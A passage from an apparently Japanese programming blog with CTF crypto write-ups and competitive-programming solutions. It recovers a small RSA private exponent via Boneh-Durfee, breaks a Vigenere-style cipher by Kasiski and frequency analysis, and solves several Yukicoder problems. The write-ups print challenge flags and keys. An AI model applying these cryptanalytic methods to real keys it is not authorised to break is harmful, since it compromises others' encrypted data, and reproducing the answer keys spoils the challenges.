    15:26:9e:87:b2:8e:ec:b0:d4:e0:27:26:a2:7f:b8:
    72:18:63:74:07:20:f5:83:68:8e:55:67:eb:10:72:
    9b:b0:d9:2b:32:2d:71:99:49:e4:0c:57:19:8d:76:
    4f:1c:63:3e:5e:27:7d:a3:d3:28:1e:ce:2c:e2:eb:
    4d:f9:45:be:5a:fc:3e:78:49:8e:d0:48:9b:24:59:
    05:96:64:fe:15:c8:8a:33

$10$進数にすると以下。$e$が$n$にそこそこ近い。(かといって、実は$\phi$ということはなかった。)

n = 2562256018798982275495595589518163432372017502243601864658538274705537914483947807120783733766118553254101235396521540936164219440561532997119915510314638089613615679231310858594698461124636943528101265406967445593951653796041336078776455339658353436309933716631455967769429086442266084993673779546522240901
e = 2385330119331689083455211591182934261439999376616463648565178544704114285540523381214630503109888606012730471130911882799269407391377516911847608047728411508873523338260985637241587680601172666919944195740711767256695758337633401530723721692604012809476068197687643054238649174648923555374972384090471828019

$e$が大きいことから$d$が小さいことが予想でき、そのような場合に対する手法(Low Private-Exponent Attack)がいくつかあるのでこれを使う。 特にBoneh-Durfee attackが今回使える。実装はSageMathによるものが利用できる。

https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
with open('pub.key') as fh:
    key = RSA.importKey(fh.read())
n = key.n
e = key.e
d = 89508186630638564513494386415865407147609702392949250864642625401059935751367507
key = RSA.construct((n, e, d))
with open('priv.key', 'w') as fh:
    fh.buffer.write(key.exportKey())
$ openssl rsautl -decrypt -in flag.enc -inkey priv.key
ASIS{b472266d4dd916a23a7b0deb5bc5e63f}

0CTF 2015 Quals CTF: oldcrypto

,

https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/crypto/oldcrypto

解けず。writeupを見た: https://web.archive.org/web/20150407090556/https://b01lers.net/challenges/0ctf/Old%20cryptography/39/

solution

Vigenere暗号の問題。この暗号をそう呼ぶと知ってしまえば、解き方は知られているのでやるだけになる。

Vigenere暗号とは、複数の表を周期的に用いる換字式暗号。 鍵長$l$なら、$i$番目の文字は$i \equiv j \pmod l$な$j$番目の表を用いる。

Vigenere暗号のCaesar暗号と比しての難しさは、ある文字とある文字が同じ表で変換されているのかが分からないことである。 しかしこの困難は、鍵長$l$(かその倍数)が分かれば回避でき、これは表の利用の周期性を用いて解析できる。 具体的には、Kasiskiテストというものが知られる。 十分な長さの暗号分があれば、同様の単語が同様の表で暗号化された部分が出現し、そのような部分文字列の距離は鍵長の倍数である。 つまり、ある程度の長さの部分文字列で複数箇所に出現するものを集めてきて、それらの距離の最大公約数を鍵長と仮定してしまえばよい、というのがこの手法である。 鍵長が判明すれば、Caesar暗号同様の頻度分析や推測により解析ができる。 また、Friedmanテストという、周期性に頼らず頻度のみから鍵長を推測する手法もあるようだ。

oldcrypto.pyでは、trとして表が与えられ、加えて各文字はi ** 7だけずらされている。 i ** 7を引き戻すことでずらしは除去できるので、同様な方法で解読ができる。

implementation

#!/usr/bin/env python3
import functools
import math
import sys
import logging
logging.basicConfig(stream=sys.stderr, level=logging.INFO)
log = logging.getLogger()

with open('ciphertext') as fh:
    ciphertext = fh.read()
log.info('ciphertext: %s', ciphertext)

s = ''
for i in range(len(ciphertext)):
    c = ord(ciphertext[i]) - ord('a')
    s += chr((c - i**7) % 26 + ord('a'))
log.info('unshift: %s', s)

l = 6
dists = []
for i in range(len(s) - l):
    word = s[i : i+l]
    j = s[i + l : ].find(word)
    if j != -1:
        dists += [(i+l+j) - i]
log.info('dists: %s', str(dists))
dist = functools.reduce(math.gcd, dists)
log.info('dist: %d', dist)
assert dist == 20

freqs = [[0] * 26 for _ in range(dist)]
for i, c in enumerate(s):
    freqs[i % dist][ord(c) - ord('a')] += 1
# https://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_the_first_letters_of_a_word_in_the_English_language
general_frequency = {
        'e': 0.12702,
        't': 0.09056,
        'a': 0.08167,
        'o': 0.07507,
        'i': 0.06966,
        'n': 0.06749,
        's': 0.06327,
        'h': 0.06094,
        'r': 0.05987,
        'd': 0.04253,
        'l': 0.04025,
        'c': 0.02782,
        'u': 0.02758,
        'm': 0.02406,
        'w': 0.02361,
        'f': 0.02228,
        'g': 0.02015,
        'y': 0.01974,
        'p': 0.01929,
        'b': 0.01492,
        'v': 0.00978,
        'k': 0.00772,
        'j': 0.00153,
        'x': 0.00150,
        'q': 0.00095,
        'z': 0.00074,
        }

tr = [
        [12, 9, 16, 3, 13, 15, 22, 17, 20, 1, 10, 24, 0, 4, 19, 5, 2, 7, 23, 14, 8, 21, 6, 18, 11, 25],
        [19, 16, 7, 5, 22, 3, 15, 2, 8, 14, 18, 17, 25, 13, 9, 6, 1, 11, 10, 0, 21, 20, 4, 23, 24, 12],
        [0, 7, 9, 14, 19, 8, 12, 1, 5, 2, 24, 11, 6, 21, 3, 15, 18, 25, 16, 4, 20, 13, 23, 22, 10, 17],
        [4, 15, 22, 13, 0, 10, 21, 14, 11, 19, 5, 8, 17, 3, 7, 1, 20, 12, 24, 9, 16, 6, 2, 25, 18, 23],
        [10, 23, 15, 25, 8, 16, 20, 21, 4, 11, 0, 9, 13, 12, 17, 2, 5, 14, 22, 24, 6, 7, 18, 1, 19, 3],
        [8, 10, 23, 7, 12, 6, 5, 3, 0, 18, 1, 14, 4, 22, 11, 21, 19, 20, 9, 16, 17, 15, 13, 2, 25, 24],
        [13, 19, 11, 15, 16, 22, 18, 23, 12, 24, 20, 2, 8, 0, 25, 3, 4, 21, 6, 1, 10, 17, 5, 7, 9, 14],
        [14, 2, 1, 24, 11, 23, 16, 20, 13, 10, 9, 4, 22, 8, 0, 25, 6, 19, 21, 17, 7, 18, 12, 5, 3, 15],
        [7, 4, 10, 21, 1, 20, 13, 0, 15, 12, 2, 18, 9, 6, 23, 8, 22, 24, 11, 25, 5, 3, 16, 14, 17, 19],
        [20, 1, 5, 16, 10, 2, 9, 19, 21, 6, 4, 25, 18, 24, 22, 23, 3, 17, 12, 7, 0, 8, 14, 15, 13, 11],
        [6, 13, 3, 2, 5, 4, 0, 9, 23, 7, 25, 21, 20, 1, 24, 18, 17, 16, 15, 19, 12, 11, 22, 8, 14, 10],
        [17, 6, 13, 23, 18, 19, 1, 16, 24, 25, 12, 15, 10, 2, 20, 11, 7, 0, 4, 5, 14, 22, 21, 3, 8, 9],
        [3, 22, 8, 0, 7, 21, 11, 4, 2, 16, 19, 6, 15, 25, 14, 12, 9, 23, 18, 10, 24, 5, 1, 17, 20, 13],
        [18, 3, 2, 1, 17, 12, 10, 24, 16, 9, 6, 19, 5, 23, 21, 22, 8, 4, 0, 11, 25, 14, 15, 13, 7, 20],
        [16, 24, 21, 12, 15, 14, 23, 18, 25, 20, 11, 10, 3, 17, 5, 4, 0, 13, 7, 22, 9, 2, 19, 6, 1, 8],
        [5, 17, 4, 19, 2, 0, 25, 22, 18, 23, 13, 16, 14, 10, 12, 20, 11, 1, 8, 3, 15, 24, 7, 9, 21, 6],
        [11, 8, 20, 22, 14, 7, 6, 5, 1, 21, 16, 0, 12, 19, 4, 17, 10, 15, 25, 13, 2, 9, 3, 24, 23, 18],
        [9, 21, 14, 17, 24, 5, 7, 6, 10, 0, 8, 23, 19, 15, 2, 13, 16, 3, 20, 12, 18, 1, 25, 11, 4, 22],
        [22, 5, 6, 20, 23, 1, 2, 25, 9, 8, 17, 13, 16, 11, 18, 24, 12, 10, 14, 21, 3, 19, 0, 4, 15, 7],
        [25, 18, 19, 8, 20, 17, 14, 12, 3, 13, 15, 22, 7, 9, 6, 10, 24, 5, 1, 2, 4, 23, 11, 21, 16, 0],
        [24, 20, 17, 9, 25, 13, 8, 11, 6, 3, 22, 7, 23, 5, 15, 14, 21, 2, 19, 18, 1, 16, 10, 12, 0, 4],
        [15, 25, 18, 10, 6, 9, 4, 13, 17, 5, 3, 20, 21, 7, 16, 0, 14, 8, 2, 23, 11, 12, 24, 19, 22, 1],
        [23, 14, 24, 18, 4, 25, 17, 7, 19, 22, 21, 12, 11, 20, 1, 16, 15, 6, 3, 8, 13, 10, 9, 0, 2, 5],
        [21, 11, 25, 6, 9, 18, 3, 10, 14, 4, 7, 1, 24, 16, 8, 19, 13, 22, 5, 15, 23, 0, 17, 20, 12, 2],
        [2, 12, 0, 4, 3, 11, 24, 15, 22, 17, 14, 5, 1, 18, 10, 7, 23, 9, 13, 20, 19, 25, 8, 16, 6, 21],
        [1, 0, 12, 11, 21, 24, 19, 8, 7, 15, 23, 3, 2, 14, 13, 9, 25, 18, 17, 6, 22, 4, 20, 10, 5, 16]
    ]

fkey = 'eeeeeeeeeeeeeeeeeeee'
fkey = '????????????????eeee' # CRYP
fkey = 't???????????????eeee' # crypT
fkey = 'tte?????????????eeee' # betweEN
fkey = 'tte????????????teeee' # Kasiski
fkey = 'tteet??????????teeee' # ciphER
fkey = 'tteet???????eieteeee' # SUBstitution
fkey = 'tteet??seeeteieteeee' # SUBSTitution
fkey = 'tteetseseeeteieteeee' # cryPTanalysis
assert len(fkey) == dist
key = ''
for i in range(dist):
    if fkey[i] == '?':
        key += '?'
        continue
    p = freqs[i].index(max(freqs[i]))
    for k in range(26):
        if tr[k][p] == ord(fkey[i]) - ord('a'):
            key += chr(k + ord('a'))
            break
log.info('key: %s', key)

def decrypt(ciphertext, key):
    plaintext = ""
    for i in range(len(ciphertext)):
        if fkey[i % len(fkey)] == '?':
            plaintext += '?'
            continue
        c = ord(ciphertext[i]) - ord('a')
        k = ord(key[i % len(key)]) - ord('a')
        p = tr[k][(c - i**7) % 26]
        plaintext += chr(p + ord('a'))
    return plaintext
log.info('plaintext: %s', decrypt(ciphertext, key))

assert key == 'classicalcipherisfun'

Yukicoder No.243 出席番号(2)

,

http://yukicoder.me/problems/no/243

解けず。解説を見た。包除原理は苦手らしい。

包除原理+DP。 この問題の何が難しいかというと、割り振る出席番号$j$か生徒ごとの嫌いな数$A_i$かのどちらかで順に処理していきたいが、そのような良い方法が見つからない、両方をDPの引数にして$\mathrm{dp} : N \times N \to \mathbb{N}$などができない。 なので、だめな割り振り方に着目し、包除原理でななめに潰して$\mathrm{dp} : |A| \to \mathbb{N}$にしている。

#include <iostream>
#include <vector>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define repeat_reverse(i,n) for (int i = (n)-1; (i) >= 0; --(i))
typedef long long ll;
using namespace std;
const int mod = 1e9+7;
int main() {
    // input
    int n; cin >> n;
    vector<int> a(n); repeat (i,n) cin >> a[i];
    // prepare
    vector<ll> fact(n+1);
    fact[0] = 1;
    repeat (i,n) fact[i+1] = fact[i] * (i+1) % mod;
    // compute
    vector<int> cnt(n);
    repeat (i,n) {
        if (a[i] < n) {
            cnt[a[i]] += 1;
        }
    }
    vector<ll> dp(n+1);
    dp[0] = 1;
    repeat (i,n) if (cnt[i]) {
        repeat_reverse (k,n) {
            dp[k+1] += dp[k] * cnt[i] % mod;
            dp[k+1] %= mod;
        }
    }
    ll ans = fact[n];
    repeat (k,n) {
        ans += dp[k+1] * fact[n-(k+1)] % mod * ((k+1) % 2 == 1 ? -1 : 1) % mod;
        ans %= mod;
    }
    ans += mod;
    ans %= mod;
    // output
    cout << ans << endl;
    return 0;
}

Yukicoder No.242 ビンゴゲーム

,

http://yukicoder.me/problems/no/242

期待値の線形性。今回の$12$本の列は全て独立であるかのように扱え、$e = 12 \cdot \frac{n}{99} \cdot \frac{n-1}{98} \cdot \frac{n-2}{97} \cdot \frac{n-3}{96} \cdot \frac{n-4}{95}$が答え。

#include <cstdio>
using namespace std;
int main() {
    int n; scanf("%d", &n);
    double e = n/99. * (n-1)/98. * (n-2)/97. * (n-3)/96. * (n-4)/95.;
    printf("%.8lf\n", e * 12);
    return 0;
}

Yukicoder No.241 出席番号(1)

,

http://yukicoder.me/problems/no/241

乱択。 解となる列はおおよそ$(\frac{n-1}{n})^n \approx 0.36$ぐらいの確率で存在していると考えてよく、これは十分に高い。 不一致なものを適当にswapすることを繰り返すと、さらに効率がよい。

#include <iostream>
#include <vector>
#include <algorithm>
#include <set>
#include <random>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
using namespace std;
int main() {
    int n; cin >> n;
    vector<int> a(n); repeat (i,n) cin >> a[i];
    if (whole(count, a, a[0]) == n and 0 <= a[0] and a[0] < n) {
        cout << -1 << endl; // all a_i is the same
    } else {
        vector<int> b(n); whole(iota, b, 0);
        set<int> c; repeat (i,n) if (a[i] == b[i]) c.insert(i);
        default_random_engine gen((random_device())());
        uniform_int_distribution<int> dist(0, n-1);
        while (not c.empty()) {
            int i = *c.begin();
            int j = i; while (j == i) j = dist(gen);
            swap(b[i], b[j]);
            c.erase(i);
            c.erase(j);
            if (a[i] == b[i]) c.insert(i);
            if (a[j] == b[j]) c.insert(j);
        }
        for (int it : b) cout << it << endl;
    }
    return 0;
}

Yukicoder No.240 ナイト散歩

,

http://yukicoder.me/problems/no/240

高々$8^3$個程度の点にしか移動しないので全列挙でよい。

なんとなくyieldを植えてみたが特に利点はなかった。

#!/usr/bin/env python3
def move(x, y):
    for dx, dy in [(-2,-1),(-2,+1),(-1,-2),(-1,+2),(+1,-2),(+1,+2),(+2,-1),(+2,+1)]:
        yield (x + dx, y + dy)
x, y = map(int,input().split())
ps = [(0,0)]
ans = False
for _ in range(3):
    qs = []
    for p in ps:
        qs += list(move(*p))
    ps = qs
    if (x, y) in ps:
        ans = True
print('YES' if ans else 'NO')